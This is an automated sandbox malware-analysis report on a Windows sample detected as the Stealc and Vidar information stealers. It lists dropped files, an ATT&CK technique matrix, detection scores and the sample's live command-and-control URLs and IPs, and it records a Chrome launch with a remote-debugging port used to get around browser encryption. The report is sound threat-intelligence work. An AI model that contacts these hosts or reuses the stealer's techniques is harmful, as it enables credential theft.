Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7040, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2772886640.0000000000D38000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2771239675.0000000000271000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2217451868.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7040, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7040, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	112 Process Injection	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	237 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	751 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	63%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	63%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\DocumentsEGIDAAFIEH.exe	63%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label	Link
http://185.215.113.206/68b591d6548ec281/sqlite3.dll1	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpfi	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dll#	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dllC	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dllbd	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exeC	0%	Avira URL Cloud	safe
http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce90241545	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeK	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dll#	22%	Virustotal		Browse
http://185.215.113.16/luma/random.exeI	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeK	15%	Virustotal		Browse
http://31.41.244.11/files/random.exe506238l	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dllM	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe61395dC	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
plus.l.google.com	142.250.181.110	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
www.google.com	172.217.21.36	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.97	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
https://assets.msn.com/bundles/v1/edgeChromium/latest/common.070b7e2c0c11bf3433e5.js	false	high
http://185.215.113.206/	false	high
https://assets2.msn.com/bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js	false	high
https://deff.nelreports.net/api/report?cat=msn	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732349818185&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b2?rn=1732349818187&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1124054842946B4F2DE61008433C6A40&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://c.msn.com/c.gif?rnd=1732349818187&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=514b73816cb24419b460befa9de20ac2&activityId=514b73816cb24419b460befa9de20ac2&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D3B49BBCE2FE436FBC01B2C47C41EB7F&MUID=1124054842946B4F2DE61008433C6A40	false	high
https://assets.msn.com/bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false	high
https://c.msn.com/c.gif?rnd=1732349818187&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=514b73816cb24419b460befa9de20ac2&activityId=514b73816cb24419b460befa9de20ac2&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2413214524.0000000023318000.00000004.00000020.00020000.00000000.sdmp, BGDGHJEH.0.dr, Web Data.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll1	file.exe, 00000000.00000002.2772886640.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2413214524.0000000023318000.00000004.00000020.00020000.00000000.sdmp, BGDGHJEH.0.dr, Web Data.9.dr	false		high
http://www.broofa.com	chromecache_451.5.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllC	file.exe, 00000000.00000002.2772886640.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/0	000003.log6.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://www.last.fm/	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.10.dr	false		high
https://docs.google.com/	manifest.json0.9.dr	false		high
https://www.youtube.com	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
https://curl.se/docs/hsts.html	2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.10.dr	false		high
https://www.instagram.com	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
https://drive.google.com/	manifest.json0.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll#	file.exe, 00000000.00000002.2772886640.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dllbd	file.exe, 00000000.00000002.2772886640.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpfi	file.exe, 00000000.00000002.2772886640.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.messenger.com	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
https://www.deezer.com/	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
http://185.215.113.16/luma/random.exeC	skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org/	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce90241545	skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	CBAKJEHDBGHIEBGCGDGH.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://vibe.naver.com/today	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2413214524.0000000023318000.00000004.00000020.00020000.00000000.sdmp, BGDGHJEH.0.dr, Web Data.9.dr	false		high
https://assets.msn.com	064fb166-0b2b-4929-87d9-28ad8c9be488.tmp.10.dr	false		high
https://curl.se/docs/alt-svc.html	2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ace-snapper-privately.ngrok-free.app/test/testFailed	2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exeK	skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2413214524.0000000023318000.00000004.00000020.00020000.00000000.sdmp, BGDGHJEH.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.16/luma/random.exeI	skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.new?from=EdgeM365Shoreline	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2771239675.0000000000325000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
http://31.41.244.11/files/random.exe506238l	skotes.exe, 00000018.00000002.3472465973.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_451.5.dr	false		high
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://msn.comXIDv10	Cookies.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 00000018.00000002.3472465973.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
https://y.music.163.com/m/	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllM	file.exe, 00000000.00000002.2772886640.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2796450979.00000000233DB000.00000004.00000020.00020000.00000000.sdmp, CBAKJEHDBGHIEBGCGDGH.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpU	skotes.exe, 00000018.00000002.3472465973.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.16/luma/random.exe61395dC	skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.whatsapp.com	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.php_	file.exe, 00000000.00000002.2772886640.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	false		high
https://m.kugou.com/	18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
184.28.190.51	unknown	United States	20940	AKAMAI-ASN1EU	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
23.219.82.59	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.110	plus.l.google.com	United States	15169	GOOGLEUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.219.82.72	unknown	United States	20940	AKAMAI-ASN1EU	false
23.200.0.9	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.173.219.40	unknown	United States	3	MIT-GATEWAYSUS	false
204.79.197.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
40.79.141.153	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.200.0.38	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.117.182.59	unknown	United States	20940	AKAMAI-ASN1EU	false
23.219.82.40	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.209.72.25	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561380
Start date and time:	2024-11-23 09:15:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@77/297@22/30
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 64.233.165.84, 172.217.19.238, 34.104.35.123, 172.217.21.35, 142.250.181.10, 142.250.181.74, 172.217.19.234, 142.250.181.138, 172.217.17.42, 172.217.17.74, 172.217.19.170, 216.58.208.234, 172.217.21.42, 172.217.19.202, 142.250.181.106, 192.229.221.95, 199.232.210.172, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 13.107.42.16, 172.165.69.228, 23.32.238.138, 2.19.198.56, 2.16.158.179, 2.16.158.33, 2.16.158.187, 2.16.158.170, 2.16.158.185, 2.16.158.176, 2.16.158.192, 2.16.158.27, 2.16.158.26, 2.19.198.73, 23.32.238.96, 142.250.65.195, 142.251.40.163, 142.250.80.67, 142.251.32.99, 142.250.176.195, 142.250.81.227, 142.250.65.163
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, config-edge-skype.l-0007.l-msedge.net, msedge.b.tlu.dl.delivery.mp.microsoft.com, a1858.dscd.akamai.net, www.gstatic.com, l-0007.l-msedge.net, config.edge.skype.com, optimizationguide-pa.googleapis.com, www.bing.com, edge-microsoft-com.dual-a-0036.a-msedge.net, client.wns.windows.com, fs.microsoft.com, accounts.google.com, bingadsedgeextension-prod.trafficmanager.net, bzib.nelreports.net.akamaized.net, otelrules.azureedge.net, api.edgeoffer.microsoft.com, a-0003.a-msedge.net, ctldl.windowsupdate.com, ogads-pa.googleapis.com, www-msn-com.a-0003.a-msedge.net, b-0005.b-msedge.net, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.ak
Execution Graph export aborted for target DocumentsEGIDAAFIEH.exe, PID 8824 because it is empty
Execution Graph export aborted for target skotes.exe, PID 9108 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:16:50	API Interceptor	138x Sleep call for process: file.exe modified
03:18:01	API Interceptor	211x Sleep call for process: skotes.exe modified
09:17:12	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
